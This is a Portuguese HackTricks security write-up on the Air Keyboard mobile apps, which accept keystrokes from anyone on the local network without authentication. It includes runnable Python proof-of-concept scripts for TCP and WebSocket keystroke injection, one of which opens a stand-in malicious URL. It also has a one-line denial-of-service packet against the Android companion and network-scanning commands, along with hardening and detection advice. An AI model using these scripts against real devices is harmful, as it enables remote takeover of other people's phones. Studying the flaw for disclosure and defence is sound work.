Injeção de Entrada Remota do Air Keyboard (Listener TCP / WebSocket Não Autenticado)

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

TL;DR

A versão iOS do aplicativo comercial “Air Keyboard” (ID da App Store 6463187929) expõe um serviço de rede local que aceita quadros de teclas sem qualquer autenticação ou verificação de origem. Dependendo da versão instalada, o serviço é:

  • ≤ 1.0.4 – listener TCP bruto na porta 8888 que espera um cabeçalho de comprimento de 2 bytes seguido por um device-id e o payload ASCII.
  • ≥ 1.0.5 (junho de 2025) – listener WebSocket na mesma porta (8888) que analisa chaves JSON como {"type":1,"text":"…"}.

Qualquer dispositivo na mesma rede Wi-Fi / sub-rede pode, portanto, injetar entrada de teclado arbitrária no telefone da vítima, conseguindo uma completa tomada de controle remoto. Uma versão companion para Android escuta na porta 55535. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado ainda causa uma exceção não tratada dentro do OpenSSL, derrubando o serviço em segundo plano (DoS).

A vulnerabilidade está ainda sem correção no momento da escrita (julho de 2025) e o aplicativo continua disponível na App Store.


1. Descoberta de Serviço

Escaneie a rede local e procure as duas portas fixas usadas pelos aplicativos:

bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

Nos dispositivos Android, você pode identificar o pacote responsável localmente:

bash
adb shell netstat -tulpn | grep 55535      # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                 # map PID → package name

Em iOS com jailbreak você pode fazer algo semelhante com lsof -i -nP | grep LISTEN | grep 8888.


2. Detalhes do Protocolo (iOS)

2.1 Legado (≤ 1.0.4) – quadros binários personalizados

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

O comprimento declarado inclui o byte device_id mas não o cabeçalho de dois bytes em si.

2.2 Atual (≥ 1.0.5) – JSON sobre WebSocket

A versão 1.0.5 migrou silenciosamente para WebSockets enquanto mantinha o número da porta inalterado. Um pressionamento de tecla mínimo se parece com:

json
{
"type": 1,              // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}

Nenhum handshake, token ou assinatura é necessário – o primeiro objeto JSON já aciona o evento da interface do usuário.


3. Exploração PoC

3.1 Alvo ≤ 1.0.4 (TCP bruto)

python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys

target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"    # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                        # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)

3.2 Alvo ≥ 1.0.5 (WebSocket)

python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket  # `pip install websocket-client`

target_ip = sys.argv[1]
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")

Qualquer ASCII imprimível — incluindo quebras de linha, tabs e a maioria das teclas especiais — pode ser enviado, dando ao atacante o mesmo poder que a entrada física do usuário: lançar aplicativos, enviar mensagens instantâneas, abrir URLs maliciosas, alternar configurações, etc.


4. Android Companion – Negação de Serviço

A porta Android (55535) espera uma senha de 4 caracteres criptografada com uma chave AES-128-ECB codificada seguida por um nonce aleatório. Erros de análise sobem para AES_decrypt() e não são capturados, encerrando a thread do listener. Portanto, um único pacote malformado é suficiente para manter usuários legítimos desconectados até que o processo seja relançado.

python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. Aplicativos Relacionados – Um Antipadrão Recorrente

Air Keyboard não é um caso isolado. Outros utilitários móveis de “teclado/mouse remoto” foram lançados com a mesma falha:

  • Telepad ≤ 1.0.7 – CVE-2022-45477/78 permitem execução de comandos não autenticados e registro de teclas em texto simples.
  • PC Keyboard ≤ 30 – CVE-2022-45479/80 RCE não autenticado & espionagem de tráfego.
  • Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 sem senha padrão, força bruta de PIN fraco e vazamento em texto claro.

Esses casos destacam uma negligência sistêmica das superfícies de ataque voltadas para a rede em aplicativos móveis.


6. Causas Raiz

  1. Sem verificações de origem / integridade em quadros de entrada (iOS).
  2. Uso indevido de criptografia (chave estática, ECB, validação de comprimento ausente) e falta de tratamento de exceções (Android).
  3. Direito de Rede Local concedido pelo usuário ≠ segurança – iOS solicita consentimento em tempo de execução para tráfego LAN, mas isso não substitui a autenticação adequada.

7. Medidas de Fortalecimento e Defesa

Recomendações para desenvolvedores:

  • Vincule o listener a 127.0.0.1 e use túnel sobre mTLS ou Noise XX se controle remoto for necessário.
  • Derive segredos por dispositivo durante o onboarding (por exemplo, código QR ou PIN de emparelhamento) e imponha autenticação mútua antes de processar a entrada.
  • Adote Apple Network Framework com NWListener + TLS em vez de sockets brutos.
  • Implemente verificações de sanidade de prefixo de comprimento e tratamento de exceções estruturadas ao descriptografar ou decodificar quadros.

Vitórias rápidas para Blue-/Red-Team:

  • Caça à rede: sudo nmap -n -p 8888,55535 --open 192.168.0.0/16 ou filtro do Wireshark tcp.port == 8888.
  • Inspeção em tempo de execução: Script Frida conectando socket()/NWConnection para listar listeners inesperados.
  • Relatório de Privacidade de Aplicativos iOS (Configurações ▸ Privacidade & Segurança ▸ Relatório de Privacidade de Aplicativos) destaca aplicativos que contatam endereços LAN – útil para identificar serviços maliciosos.
  • EDRs Móveis podem adicionar regras simples de Yara-L para as chaves JSON "selectionStart", "selectionEnd" dentro de cargas TCP em texto claro na porta 8888.

Folha de Dicas de Detecção (Pentesters)

bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 "  " $4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks